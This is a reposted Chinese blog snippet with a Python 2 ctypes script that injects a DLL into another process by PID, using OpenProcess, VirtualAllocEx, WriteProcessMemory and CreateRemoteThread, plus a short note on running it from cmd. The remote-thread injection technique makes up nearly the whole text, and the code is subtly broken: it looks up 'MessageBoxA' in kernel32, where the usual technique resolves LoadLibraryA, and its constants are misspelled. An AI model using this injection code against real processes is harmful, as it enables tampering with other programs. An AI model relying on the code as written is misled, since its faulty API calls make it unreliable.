标签:process Python argv dll sys kernel32 user32 注入
import sys from ctypes import * FAGE_READWRITE = 0x04 PROCESS_ALL_ACCESS = 0x001F0FFF VIRTUAL_MEN = (0x1000 | 0x2000) kernel32 = windll.kernel32 user32 = windll.user32 pid = sys.argv[1] dll_path = sys.argv[2] dll_len = len(dll_path) h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,int(pid)) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit() argv_address = kernel32.VirtualAllocEx(h_process,0,dll_len,VIRTUAL_MEN,FAGE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process,argv_address,dll_path,dll_len,byref(written)) h_user32 = kernel32.GetModuleHandleA("kernel32.dll") h_loadlib = kernel32.GetProcAddress(h_user32,"MessageBoxA") thread_id = c_ulong(0) if not kernel32.CreateRemoteThread( h_process, None, 0, h_loadlib, argv_address, 0, byref(thread_id) ): print "[*] Failed to inject the DLL. Exiting." sys.exit() else: user32.MessageBoxA(0,0,0,0) print "thread_ID: 0x%08x create" % thread_id.value
这个代码的目的是实现程序运行时,dll注入成功后,弹窗。
由于sys.argv[1]和sys.argv[2],我们需要用cmd运行
标签:process,Python,argv,dll,sys,kernel32,user32,注入 来源: https://www.cnblogs.com/int-main/p/13423286.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。